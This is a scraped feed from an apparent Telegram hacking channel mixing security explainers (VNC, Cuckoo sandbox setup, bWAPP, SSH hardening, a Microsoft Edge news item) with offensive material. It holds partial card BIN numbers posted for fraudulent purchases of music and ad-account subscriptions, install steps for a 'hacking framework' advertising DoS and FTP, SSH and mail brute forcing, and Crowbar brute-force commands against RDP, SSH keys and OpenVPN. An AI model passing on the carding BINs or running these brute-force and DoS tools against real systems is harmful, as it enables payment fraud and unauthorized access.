UNDERCODE SECURITY
225 subscribers
295 photos
1.03K files
1.73K links
πŸ¦‘WELCOME IN UNDERCODE TESTING FOR LEARN HACKING | PROGRAMMING | SECURITY & more..

THIS CHANNEL BY :

@UndercodeTesting
UndercodeTesting.com (official)

@iUndercode
iUndercode.com (iOs)

@Dailycve
DailyCve.com


@UndercodeNews
UndercodeNews.com
Download Telegram
WRITTEN PDFs TUTORIALS
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘What is VNC?
recently send how hack Rdp but about vnc #Definition

1️⃣VNC (Virtual Network Computing) is a system of remote access to the computer desktop using the RFB protocol (Remote FrameBuffer, a remote frame buffer). Management is carried out by transmitting keystrokes on the keyboard and mouse movements from one computer to another and relaying the contents of the screen through a computer network. In simple terms, using VNC you can connect to another computer and work at it as if you were sitting in front of it.

2️⃣By application, VNC is an analog of RDP (Remote Desktop Protocol). But RDP is associated primarily with Windows, since it was initially distributed on this operating system. And VNC is more associated with Linux. However, the clients and servers of these technologies are cross-platform. RDP software (both server and client) is preinstalled on Windows, but you must enable this service to use. VNC software is written by third-party developers, so you must install it before using it. The most popular VNC clients and servers are free and open source.

3️⃣One of the significant advantages of VNC over RDP is that it does not require a user to log out of the session on behalf of which the user is logged on to the remote system. That is, the user in front of the computer and the user on VNC can work simultaneously. It is allowed to connect several users at once via VNC, which is impossible with RDP.

4️⃣The VNC system is platform independent: a VNC client called a VNC viewer running on one operating system can connect to a VNC server running on any other OS. There are client and server implementations for almost all operating systems. Multiple clients can connect to one VNC server at the same time. The most popular ways to use VNC are remote technical support and access to a working computer from home.

written by
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
πŸ¦‘Bin For Apple Music & Amazon Musicβœ…

Bin : 45140510002xxxxx
CVV/Date: RND
IP : Canada πŸ‡¨πŸ‡¦

> How use bin https://t.me/UnderCodeTesting/3768

provide us with screanshoats to @Undercode_Bot


πŸ¦‘ Bin For Twitter Ads + Facebook Ads + Instagram Ads βœ…

Bin: 5262845xxx262xxx
Country: USA πŸ‡ΊπŸ‡Έ
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘#FASTTIP :log formats and values are supported for the --log-format option :

COMBINED - combined journal format,

VCOMBINED - combined log format with a virtual host,

COMMON is a regular log format,

VCOMMON - a regular log format with a virtual host,

W3C is an extended W3C log format,

SQUID - Squid's native log format,

CLOUDFRONT - Amazon CloudFront Web Distribution,

CLOUDSTORAGE - Google Cloud Storage,

AWSELB - Amazon Elastic Load Balancing,

AWSS3 - Amazon Simple Storage Service (S3)

written by
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
πŸ¦‘Hacking framework This framework is designed to perform penetration testing. Its functions:

> Scan sql vulnerability

> Scan xxs vulnerability

>Dos sites

>Brutforce Ftp

> Brutforse SSh

> Brutforse mail Accounts

πŸ„ΈπŸ„½πŸ…‚πŸ…ƒπŸ„°πŸ„»πŸ„»πŸ„ΈπŸ…‚πŸ„°πŸ…ƒπŸ„ΈπŸ„ΎπŸ„½ & πŸ…πŸ…„πŸ„½ :

1️⃣git clone https://github.com/b3-v3r/Hunner.git

2️⃣cd Hunner

3️⃣python2 hunner.py
(choose options via numbers)

4️⃣for launching only hacking modules
launch as python

>cd modules

banner.py


dos.py

ftp.py

hun_listener.py

Update mail.py

ssh.py

5️⃣include passwordlist

Share usβ€οΈπŸ‘πŸ»
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘What does that mean?

It simply means that you can throw any suspicious file at it and in a matter of seconds Cuckoo will provide you back some detailed results outlining what such file did when executed inside an isolated environment.

πŸ„ΈπŸ„½πŸ…‚πŸ…ƒπŸ„°πŸ„»πŸ„»πŸ„ΈπŸ…‚πŸ„°πŸ…ƒπŸ„ΈπŸ„ΎπŸ„½ & πŸ…πŸ…„πŸ„½ :

πŸ¦‘FOR PARROT-KALI :

You can either run Cuckoo from your own user or create a new one dedicated just for your sandbox setup. Make sure that the user that runs Cuckoo is the same user that you will use to create and run the virtual machines (at least in the case of VirtualBox), otherwise Cuckoo won’t be able to identify and launch these Virtual Machines.

1️⃣clone https://github.com/cuckoosandbox/cuckoo
or open terminal and type


$ sudo pip install -U pip setuptools

2️⃣$ sudo pip install -U cuckoo

3️⃣$ virtualenv venv

4️⃣$ . venv/bin/activate

5️⃣(venv)$ pip install -U pip setuptools

6️⃣(venv)$ pip install -U cuckoo

πŸ¦‘Install Cuckoo from file methode 2 -
You will end up with a file Cuckoo-2.0.0.tar.gz (or a higher number, depending on the latest released stable version) as well as all of its dependencies (e.g., alembic-0.8.8.tar.gz).


1️⃣DOWNLOAD https://cuckoosandbox.org/

2️⃣$ pip download cuckoo

3️⃣$ pip install Cuckoo-2.0.0.tar.gz

4️⃣$ pip install *.tar.gz

5️⃣choose option simply

Share usβ€οΈπŸ‘πŸ»
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘A REAL extremely buggy web app 2020 RECOMMENDED BY Undercode :

FEATURES :

SQL, HTML, iFrame, SSI, OS Command, PHP, XML, XPath, LDAP and SMTP injections

Blind SQL injection and Blind OS Command injection

Boolean-based and time-based Blind SQL injections

Drupageddon and Drupalgeddon2 (CVE-2018-7600)

AJAX and Web Services issues (JSON/XML/SOAP)

Heartbleed vulnerability (OpenSSL) + detection script included

Shellshock vulnerability (CGI)

Cross-Site Scripting (XSS) and Cross-Site Tracing (XST)

phpMyAdmin BBCode Tag XSS

Cross-Site Request Forgery (CSRF)

Information disclosures: favicons, version info, custom headers,...

Unrestricted file uploads and backdoor files

Old, backup & unreferenced files

Authentication, authorization and session management issues

Password and CAPTCHA attacks

Insecure DistCC, FTP, NTP, Samba, SNMP, VNC, WebDAV configurations

Arbitrary file access with Samba

Directory traversals and unrestricted file access

Local and remote file inclusions (LFI/RFI)

Server Side Request Forgery (SSRF)

XML External Entity attacks (XXE)

Man-in-the-Middle attacks (HTTP/SMTP)

HTTP parameter pollution and HTTP verb tampering

Denial-of-Service (DoS) attacks: Slow Post, SSL-Exhaustion, XML Bomb,...

POODLE vulnerability

BREACH/CRIME/BEAST SSL attacks

HTML5 ClickJacking and web storage issues

Insecure iFrame (HTML5 sandboxing)

Insecure cryptographic storage

Cross-Origin Resource Sharing (CORS) issues

Cross-domain policy file attacks (Flash/Silverlight)

Local privilege escalations: udev, sendpage

Cookie and password reset poisoning

Host header attacks: password reset poisoning en cache pollutions

PHP CGI remote code execution

Dangerous PHP Eval function

Local and remote buffer overflows (BOF)

phpMyAdmin and SQLiteManager vulnerabilities

Nginx web server vulnerabilities

HTTP response splitting, unvalidated redirects and forwards

WSDL SOAP vulnerabilities

Form-based authentication and No-authentication modes

Active Directory LDAP integration

Fuzzing possibilities
and much more...

HINT: download our bee-box VM > it has ALL necessary extensions

bee-box is compatible with VMware and VirtualBox!

πŸ„ΈπŸ„½πŸ…‚πŸ…ƒπŸ„°πŸ„»πŸ„»πŸ„ΈπŸ…‚πŸ„°πŸ…ƒπŸ„ΈπŸ„ΎπŸ„½ :

DOWNLOAD APP :
https://sourceforge.net/projects/bwapp/

ENJOY πŸ¦‘πŸ‘πŸ»
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘Get rid of the spy in your own pocket. make sure the story doesn't repeat itself:
#FastTips

1) Strengthening protection. Create a complex password consisting of numbers and letters of different registers and change it regularly. Do not use known data (pet name, date of birth, etc.). Turn off storage and use different passwords for different devices;

2) Reliable sources. Download and install applications only from official sites and markets;

3) Advance action. Install anti-virus programs that can protect your data.

4) Regular cleaning. Create an additional storage space for important files and delete unnecessary ones, including messages.

5) Inlet filter. Do not follow suspicious links or open messages from strangers using your mobile email client .

Share usβ€οΈπŸ‘πŸ»
written
by
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘What is Crowbar?
-Hack OpenVpn
*Crowbar (formally known as Levye) is a brute forcing tool that can be used during penetration tests. It was developed to brute force some protocols in a different manner according to other popular brute forcing tools. As an example, while most brute forcing tools use username and password for SSH brute force, Crowbar uses SSH key(s). This allows for any private keys that have been obtained during penetration tests, to be used to attack other SSH servers.

πŸ„ΈπŸ„½πŸ…‚πŸ…ƒπŸ„°πŸ„»πŸ„»πŸ„ΈπŸ…‚πŸ„°πŸ…ƒπŸ„ΈπŸ„ΎπŸ„½ & πŸ…πŸ…„πŸ„½ :

1️⃣Kali Linux users can do

# sudo apt install -y crowbar
Else if you wish to install from source, install all the dependencies:

2️⃣Debain 9/10+ & Kali Rolling

# sudo apt install -y nmap openvpn freerdp2-x11 tigervnc-viewer python3 python3-pip

3️⃣Debain 7/8 & Kali 1/2

# sudo apt-get install -y nmap openvpn freerdp-x11 vncviewer

πŸ¦‘Then get latest version from GitHub:

1️⃣ git clone https://github.com/galkan/crowbar

2️⃣cd crowbar/

3️⃣ pip3 install -r requirements.txt


πŸ¦‘If you want to use username including DOMAIN, please specify username like below. Backslash (\) is the escape character for python. So you have to use either of the following two formats:

1️⃣ ./crowbar.py -b rdp -u DOMAIN\\gokhan alkan -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:03:39 RDP-SUCCESS : 10.68.35.150:3389 - "DOMAIN\gokhan alkan":Aa123456,


2️⃣ ./crowbar.py -b rdp -u gokhan alkan@ornek -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:04:00 RDP-SUCCESS : 10.68.35.150:3389 - "gokhan alkan@DOMAIN":Aa123456,

πŸ¦‘HOW USE ?

1️⃣RDP brute forcing a single IP address using username list file and a single password:

# ./crowbar.py -b rdp -s 192.168.2.211/32 -U ~/Desktop/userlist -c passw0rd

2️⃣RDP brute forcing a single IP address using a single username and a password list:

# ./crowbar.py -b rdp -s 192.168.2.250/32 -u localuser -C ~/Desktop/passlist

3️⃣RDP brute forcing a subnet using a username list and a password list in discovery mode:

# ./crowbar.py -b rdp -s 192.168.2.0/24 -U ~/Desktop/userlist -C ~/Desktop/passlist -d

4️⃣Brute Forcing - SSH Private Keys
Below are a few examples which you have using Crowbar.

SSH key brute force attempt to a single IP address using a single username and a single private SSH key:

# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k ~/.ssh/id_rsa

5️⃣SSH key brute force attempt to a single IP address using a single username and all the SSH keys in a folder:

# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k ~/.ssh/

6️⃣SSH key brute force attempt to a subnet using a single username and all the SSH keys in a folder in discovery mode:

# ./crowbar.py -b sshkey -s 192.168.2.0/24 -u root -k ~/.ssh/ -d
PN
Below is an example of attacking OpenVPN using Crowbar.
7️⃣Brute Forcing - OpenV

OpenVPN brute force attempt to a single IP address using a configuration file, a single username and a single password with specified port number and optional certificate file. Doesn't matter if its TCP or UDP:

# grep remote ~/Desktop/vpnbook.ovpn
remote vpn.example.com 1194 udp
# host vpn.example.com | awk '{print $1}'
198.7.62.204
# grep '^auth-user-pass' ~/Desktop/vpnbook.ovpn
# ./crowbar.py -b openvpn -s 198.7.62.204/32 -p 1194 -m ~/Desktop/vpnbook.ovpn -k ~/Desktop/vpnbook_ca.crt -u v


πŸ¦‘Video tutorial :
https://www.youtube.com/watch?v=4QZAWGsveSM

Share usβ€οΈπŸ‘πŸ»
written
by
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘Downloading the d3dx9 43 file from unauthorized sources is undesirable because:

1) Such sites distribute malicious software or dummy files that simply have the same name as the desired file. Dummy files often lead to the fact that the user makes the only seemingly correct decision - to completely reinstall the operating system.

2) If you downloaded a file and even know in which directory you need to copy it, this does not mean a 100% solution to the problem. DirectX contains many files, so when you restart it, you may encounter a new error with the name of another missing file.

3) If the d3dx9 43 file is incorrectly overwritten in the System32 folder, the system may fail. It can take anywhere from a few hours to a whole day to fix the error and fix the download.

Share usβ€οΈπŸ‘πŸ»
written
by
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
To get rid of constant brute force attacks, you can only select key-based SSH input.

With this approach, you add the public key of the remote client systems to the list of known keys on the SSH server. In this way, these client machines can access SSH without entering a user account password.

When you have this setting, you can disable the password based on your SSH login. Now only clients that have the specified SSH keys can access the server through SSH.

Before moving on to this approach, make sure you add your public key to the server and it works. Otherwise, you block yourself and may lose access to the remote server, especially if you use a cloud server where you do not have physical access to the server.



πŸ”Ÿ Two-factor authentication via SSH
To take SSH security to the next level, you can also enable two-factor authentication. With this approach, you receive a one-time password on your mobile phone, email, or through a third-party authentication application.

You can read about setting up two-factor authentication using SSH here .



Output
You can see all the parameters of your SSH server with this command:

sshd -T

Share usβ€οΈπŸ‘πŸ»
written
by
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘Microsoft Edge silently imports Firefox data without permission
#UndercodeNews

> Some users found that the new version of Edge updated to the device through Windows Update will import data from Firefox, even if the user does not authorize Edge to do this.

> According to krankie 's description, Microsoft designed some elements in the UI to "deceive and mislead" users. After updating the system, after the Edge installation is complete, Microsoft will display a maximized Edge window to the user, but it will first pop up a modal dialog box containing only the "Get Started" button.

> Therefore, the user cannot close Edge directly or close the modal dialog box. The only option is to use the task manager to kill this process. But even if you close it, Edge will be automatically fixed to the taskbar.

> Finally, he also mentioned that the new version of Edge imports data from other browsers without user permission.

"Unless you close it through the task manager instead of performing a forced setting, it will copy the data anyway, the worst thing is that most people will never know what Edge is doing, because they will never open it again."

> In addition, Microsoft will cancel the system's default browser settings, so when the user clicks on a URL, they need to re-select the default browser.

> Microsoft has been silent on this. Therefore, although the original wizard was actually manually killed by the user, so far, the reason for importing Edge data into Firefox data is still unknown.

@UndercodeNews
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘#Terms & #FastTips about Windows servers


> HTTP
This is a web server.

> SMB

The SMB protocol provides the file server on the local network .

> MSSQL

Database management system.

> FTP

A protocol that provides the operation of a file server.

> LDAP

LDAP (Lightweight Directory Access Protocol) is an application layer protocol for accessing the X.500 directory service developed by the IETF as a lightweight version of the ITU-T DAP protocol. LDAP is a relatively simple protocol that uses TCP / IP and allows authentication (bind), search (search) and comparison (compare), as well as the operation of adding, changing or deleting records. Typically, an LDAP server accepts incoming connections to port 389 over TCP or UDP. SSL encapsulated LDAP sessions typically use port 636.

Share usβ€οΈπŸ‘πŸ»
written
by
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁